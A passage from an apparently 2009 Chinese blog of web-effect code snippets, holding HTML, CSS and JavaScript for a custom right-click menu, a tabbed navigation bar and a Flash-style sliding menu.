      

       function sub_click()

       {

              if(obj.cells(1).all.tags("A").length>0)

              {

                     obj.cells(1).all.tags("A")(0).click();

              }    

 

       }

}

 

 

//---------- returnIndex(str)--------------//

 

function returnIndex(str)

{

       return (str.split("_").length-3)

}

 

 

//---------ShowTheMenu(obj,num)-----------------//

 

function ShowTheMenu(obj,num)

{

       var topobj = eval(obj.substring(0,obj.length-2));

      

       var trobj  = eval("tr"+obj);

      

       var obj = eval(obj);

      

       if(num==0)

       {

              with(obj.style)

              {

                     pixelLeft = topobj.style.pixelLeft +topobj.offsetWidth;

                     pixelTop  = topobj.style.pixelTop + trobj.offsetTop;

              }

       }

       if(num==1)

       {

              with(obj.style)

              {

                     pixelLeft = topobj.style.pixelLeft + topobj.offsetWidth;

                     pixelTop  = topobj.style.pixelTop  + trobj.offsetTop + trobj.offsetHeight - obj.offsetHeight;

              }

       }

       if(num==2)

       {

              with(obj.style)

              {

                     pixelLeft = topobj.style.pixelLeft -  obj.offsetWidth;

                     pixelTop  = topobj.style.pixelTop + trobj.offsetTop;

              }    

       }

       if(num==3)

       {

              with(obj.style)

              {

                     pixelLeft = topobj.style.pixelLeft -  obj.offsetWidth;

                     pixelTop  = topobj.style.pixelTop  + trobj.offsetTop + trobj.offsetHeight - obj.offsetHeight;

              }    

       }

      

       obj.style.visibility  = "visible";  

      

       if(obj.alphaing)

       {

              clearInterval(obj.alphaing);

       }

      

       obj.alphaing = setInterval("menu_alpha_up("+obj.id+","+alphaStep+")",menuSpeed);   

}

 

//----------HideMenu(num)-------------------//

 

/*----------------------

var SubMenuList = new Array();

 

var NowSubMenu = "";

 

---------------------*/

 

function HideMenu(num)

{

       var thenowMenu = "";

      

       var obj = null;

      

       if(num==1)

       {

              thenowMenu = NowSubMenu

       }

      

      

      

       for(i=SubMenuList.length-1;i>=0;i--)

       {

              if(SubMenuList[i]&&SubMenuList[i]!=thenowMenu)

              {

                    

                     obj = eval(SubMenuList[i]);

                    

                     if(obj.alphaing)

                     {

                            clearInterval(obj.alphaing);

                     }    

 

                     obj.alphaing = setInterval("menu_alpha_down("+obj.id+","+alphaStep+")",menuSpeed);

                    

                     obj.style.visibility = "hidden";            

                    

                     eval("tr"+SubMenuList[i]).className = "menutrout";

                                         

                     SubMenuList[i] = null; 

              }

              else

              {

                     if(SubMenuList[i]==thenowMenu)

                     {

                            return;

                     }

              }

       }

      

       NowSubMenu = "";

}

 

 

 

 

//-----------MainMenuPosition return()------------//

 

function MMPreturn()

{

       var obj = eval(JustMenuID);

      

       var x = event.clientX;

       var y = event.clientY;

      

       var judgerX = x + obj.offsetWidth;

       var judgerY = y + obj.offsetHeight;

 

       var px = 0;

       var py = 0;

      

       if(judgerX>document.body.clientWidth)

       {

              px = 2;

       }

       if(judgerY>document.body.clientHeight)

       {

              py = 1;

       }

             

       return (px+py);

}

 

//-----------MenuPosition return(obj)--------------//

 

function MPreturn(obj)

{

       var topobj = eval(obj.substring(0,obj.length-2));

      

       var trobj  = eval("tr"+obj);

      

       var x = topobj.style.pixelLeft + topobj.offsetWidth;

       var y = topobj.style.pixelTop  + trobj.offsetTop;

 

       obj = eval(obj);

      

       var judgerY =  obj.offsetHeight + y;

       var judgerX =  obj.offsetWidth  + x;

      

       var py = 0;

       var px = 0;

      

       if(judgerY>=document.body.clientHeight)

       {

              py = 1;

       }

      

       if(judgerX>= document.body.clientWidth)

       {

              px = 2;

       }

                    

       return (px+py);

}

 

//-----------mouseWave()-------------//

 

function mouseWave()

{

       if(mouseCanSound)

       {

              theBS.src= "sound/sound.wav";

       }    

}

 

//----------- menu_alpha_down -------//

 

function menu_alpha_down(obj,num)

{

              var obj = eval(obj);

             

              if(obj.filters.Alpha.Opacity > 0 )

              {

                     obj.filters.Alpha.Opacity += -num;

              }    

              else

              {    

                     clearInterval(obj.alphaing);

                     obj.filters.Alpha.Opacity = 0;

                     obj.alphaing = false;                   

                     obj.style.visibility = "hidden";

              }    

}

 

 

//------------ menu_alpha_up --------//

 

function menu_alpha_up(obj,num)

{

              var obj = eval(obj);

             

              if(obj.filters.Alpha.Opacity<100)

                     obj.filters.Alpha.Opacity += num;

              else

              {    

                     clearInterval(obj.alphaing);

                     obj.filters.Alpha.Opacity = 100;

                     obj.alphaing = false;

              }    

}

 

 

//----------- IE ContextMenu -----------------//

 

function document.oncontextmenu()

{

       return false;

}

 

 

//----------- IE Mouseup ----------------//

 

function document.onmouseup()

{

       if(event.button==2)

       {

      

              HideMenu(0);

             

 

              var obj = eval(JustMenuID)

             

             

                     obj.style.visibility = "hidden";

                    

                    

                     if(obj.alphaing)

                     {

                            clearInterval(obj.alphaing);

                     }

                    

                     obj.filters.Alpha.Opacity = 0;

                    

                     var judger = MMPreturn()

                    

                     if(judger==0)

                     {

                            with(obj.style)

                            {

                                   pixelLeft = event.clientX + document.body.scrollLeft;

                                   pixelTop  = event.clientY + document.body.scrollTop;

                            }

                     }

                     if(judger==1)

                     {

                            with(obj.style)

                            {

                                   pixelLeft = event.clientX + document.body.scrollLeft;

                                   pixelTop  = event.clientY - obj.offsetHeight + document.body.scrollTop;

                            }

                     }

                     if(judger==2)

                     {

                            with(obj.style)

                            {

                                   pixelLeft = event.clientX - obj.offsetWidth + document.body.scrollLeft;

                                   pixelTop  = event.clientY + document.body.scrollTop;

                            }

                     }

                     if(judger==3)

                     {

                            with(obj.style)

                            {

                                   pixelLeft = event.clientX - obj.offsetWidth + document.body.scrollLeft;

                                   pixelTop  = event.clientY - obj.offsetHeight + document.body.scrollTop;

                            }

                     }

                    

                     mouseWave();

                                         

                     obj.style.visibility = "visible";

                    

                     obj.alphaing = setInterval("menu_alpha_up("+obj.id+","+alphaStep+")",menuSpeed);

 

             

             

       }

}

 

//---------- IE MouseDown --------------//

 

function document.onmousedown()

{

       if(event.button==1)

       {

              HideMenu();

             

              var obj = eval(JustMenuID)

             

              if(obj.alphaing)

              {

                     clearInterval(obj.alphaing);

              }

             

              obj.alphaing = setInterval("menu_alpha_down("+obj.id+","+alphaStep+")",menuSpeed);

             

       }

}

//----->

 

</SCRIPT>

 

<SCRIPT>

       var one = new MouseMenu("one");

      

       one.addMenu("菜单一",1,"javascript:alert('I am menu');","_self","I am title");

              one[0].addLink("连接一",2,"javascript:open('http://www.7stk.com')")

                            one[0].addHR()

              one[0].addLink("连接二","","javascript:open('http://www.7stk.com')")    

              one[0].addMenu("菜单三");

                     one[0][one[0].length-1].addLink("连接一",1,"javascript:;")

              one[0].addLink("连接三","","javascript:open('http://www.7stk.com')")

                            one[0].addLink("连接四","","javascript:open('http://www.7stk.com')")

                                   one.addLink("连接二","","javascript:open('http://www.7stk.com')")

                                          one.addMenu("菜单二",3);

              one[2].addLink("连接一","","javascript:open('http://www.7stk.com')")

                     one.addHR();

       one.addLink("连接三,多长都可以",4,"javascript:open('http://www.7stk.com')")   

             

 

</SCRIPT>

 

<P><FONT color=#1a71e6>有声音的哦…… 可以关闭!设置 mouseCanSound = false;

就可以了</FONT></P></BODY></HTML>

 

0 Comments

Wed

18

Mar

2009

2、蓝色理想网站的菜单

2、蓝色理想网站的菜单

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>网页特效--仿蓝色理想网站的导航菜单</title>

</head>

<style type="text/css">

#dNavBar{

background-color:#ffffff;

}

#dNavBar li{

list-style-type:none;

float:left;

width:84px;

height:28px;

line-height:28px;

font-size:12px;

color:#FFFFFF;

border:3px solid #ffffff;

background-color:#86C2FF;

text-align:center;

display:block;

cursor:pointer;

}

#subMenu{

background-color:#0000FF;

width:500px;

border-left:3px solid #ffffff;

border-right:3px solid #ffffff;

height:29px;

line-height:29px;

color:#FFFFFF;

font-size:12px;

padding-left:10px;

}

body {

margin-left: 0px;

margin-top: 0px;

margin-right: 0px;

margin-bottom: 0px;

}

a:link {

color: #FFFFFF;

text-decoration: none;

}

a:hover{

color: #FFFFFF;

text-decoration: none;

}

a:visited{

color: #FFFFFF;

text-decoration: none;

}

</style>

<script language="javascript">

function ShowMenu()

{

var barCTT=document.getElementById("dNavBar")

var liArr=barCTT.getElementsByTagName("li")

var links=new Array()

links[0]="<a href='#'>当前位置:首页"

links[1]="<a href='#'>项目一</a> | <a href='#'>项目二</a> | <a href='#'>项目三</a> | <a href='#'>项目四</a>"

links[2]="<a href='#'>项目一</a> | <a href='#'>项目二</a> | <a href='#'>项目三</a>"

links[3]="<a href='#'>项目一</a> | <a href='#'>项目二</a> | <a href='#'>项目三</a> | <a href='#'>项目四</a> | <a href='#'>项目五</a>"

links[4]="<a href='#'>项目一</a> | <a href='#'>项目二</a>"

links[5]="<a href='#'>项目一</a> | <a href='#'>项目二</a> | <a href='#'>项目三</a>"

links[6]="<a href='#'>项目一</a> | <a href='#'>项目二</a>"

links[7]="<a href='#'>项目一</a> | <a href='#'>项目二</a>"

links[8]="<a href='#'>项目一</a> | <a href='#'>项目二</a>"

links[9]="<a href='#'>项目一</a> | <a href='#'>项目二</a>"

links[10]="<a href='#'>项目一</a>| <a href='#'>项目二</a>"

links[11]="<a href='#'>项目一</a> | <a href='#'>项目二</a>"

links[12]="<a href='#'>项目一</a> | <a href='#'>项目二</a>"

for (i=0;i<liArr.length;i++)

{

liArr[i].onclick=function()

{

selectThis(this,liArr,links)

}

}

}

function selectThis(indexObj,allLi,infoArr)

{

var index=0;

for (i=0;i<allLi.length;i++)

{

allLi[i].style.border="3px solid #ffffff";

allLi[i].style.backgroundColor="#86C2FF";

allLi[i].style.height="28px";

if (indexObj==allLi[i])

{

index=i;

}

}

indexObj.style.borderBottom="0px solid #666688";

indexObj.style.backgroundColor="#0000FF";

indexObj.style.height="31px";

document.getElementById("subMenu").innerHTML=infoArr[index];

}

</script>

<body onLoad="ShowMenu()">

<div id="dNavBar" style="float:none; width:560px;"><li>首页</li><li>娱乐快报</li><li>音乐天地</li><li>极品FLASH</li>

</div>

<div id="subMenu">站务公告</div>

</body>

</html>

 

0 Comments

Wed

18

Mar

2009

1、模仿Flash效果的菜单

1、模仿Flash效果的菜单

<html>

 

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>新建网页 1</title>

</head>

 

<style type="text/css">

<!--

a:link,a:visited { text-decoration: none; color: #666666 }

a:hover { text-decoration: underline }

#hor1 {

position:absolute;

left:320px;

top:20px;

width:220px;

height:20px;

z-index:1;

background-color: #999900;

}

#hor2 {

position:absolute;

left:320px;

top:40px;

width:220px;

height:20px;

z-index:2;

background-color: #FFCC00;

}

#hor3 {

position:absolute;

left:320px;

top:60px;

width:220px;

height:20px;

z-index:3;

background-color: #99CC00;

}

#board1 {

position:absolute;

left:320px;

top:40px;

width:220px;

height:120px;

z-index:-100;

background-color: #333333;

visibility: hidden;

}

body,td,th {

font-family: Verdana, Arial, Helvetica, sans-serif;

font-size: 12px;

color: #FFFFFF;

font-weight: bold;

}

body {

background-color: #666666;

}

#board2 {

position:absolute;

left:320px;

top:60px;

width:220px;

height:120px;

z-index:-90;

background-color: #333333;

visibility: hidden;

}

#board3 {

position:absolute;

width:220px;

height:120px;

z-index:-80;

left: 320px;

top: 80px;

background-color: #333333;

visibility: hidden;

}

#hor4 {

position:absolute;

left:320px;

top:80px;

width:220px;

height:20px;

z-index:4;

background-color: #99CCCC;

}

#board4 {

position:absolute;

left:320px;

top:100px;

width:220px;

height:120px;

z-index:-70;

background-color: #333333;

visibility: hidden;

}

 

-->

</style>

<script type="text/javascript">

lastNo=0

function re(menu_no){

if(lastNo!=menu_no){

cur=menu_no+1

lastNo=menu_no

rest()

}else{

cur=100

}

document.getElementById("board"+menu_no).style.visibility="visible"

}

function rest(){

for(i=1;i<=4;i++){

document.getElementById("hor"+i).style.top=20*i;

document.getElementById("board"+i).style.visibility="hidden"

}

menu_num=4;

act=1

height=120+20

speed=0;

posY=0;

}

function huke(){

if(act==1&&cur<100){

speed=(height-posY)*0.69+speed*0.6

posY+=speed

for(i=cur;i<=menu_num;i++){

document.getElementById("hor"+i).style.top=posY+(i-2)*20

}

if(Math.abs(height-posY)<0.5){

for(i=cur;i<=menu_num;i++){

document.getElementById("hor"+i).style.top=height+(i-2)*20

}

act=0

}

setTimeout("huke()",50)

}

}

 

</script>

</head>

<body>

<div id="hor1" onclick="re(1);huke()">菜单一:我的域名7stk.com</div>

<div id="hor2" onclick="re(2);huke()">菜单二:我的音乐</div>

<div id="hor3" onclick="re(3);huke()">菜单三:我的爱人</div>

<div id="hor4" onclick="re(4);huke()">菜单四:水月贪色</div>

<div id="board1"><a href="http://7stk.com" target="_blank"><font color="#FFFFFF">网页特效代码7stk:欢迎你的光临</font></a><p>

<a href="http://www.swufe.edu.cn/"><font color="#FFFFFF">我的人生</font></a></div>

 

<div id="board2"><a href="http://7stk.com" target="_blank"><font color="#FFFFFF">网页特效代码7stk.com:欢迎你的光临</font></a></div>

 

<div id="board3"><a href="http://7stk.com" target="_blank"><font color="#FFFFFF">网页特效代码7stk.com:欢迎你的光临</font></a></div>

 

<div id="board4">1.二十一世纪最缺的是什么?人才<br />

<a href="http://7stk.com" target="_blank"><font color="#FFFFFF">网页特效代码7stk.com:欢迎你的光临</font></a><p>

       <a href="http://www.swufe.edu.cn/"><font color="#FFFFFF">犯非法 </font></a></div>

 

 

</body>

 

</html>

 

 

 

0 Comments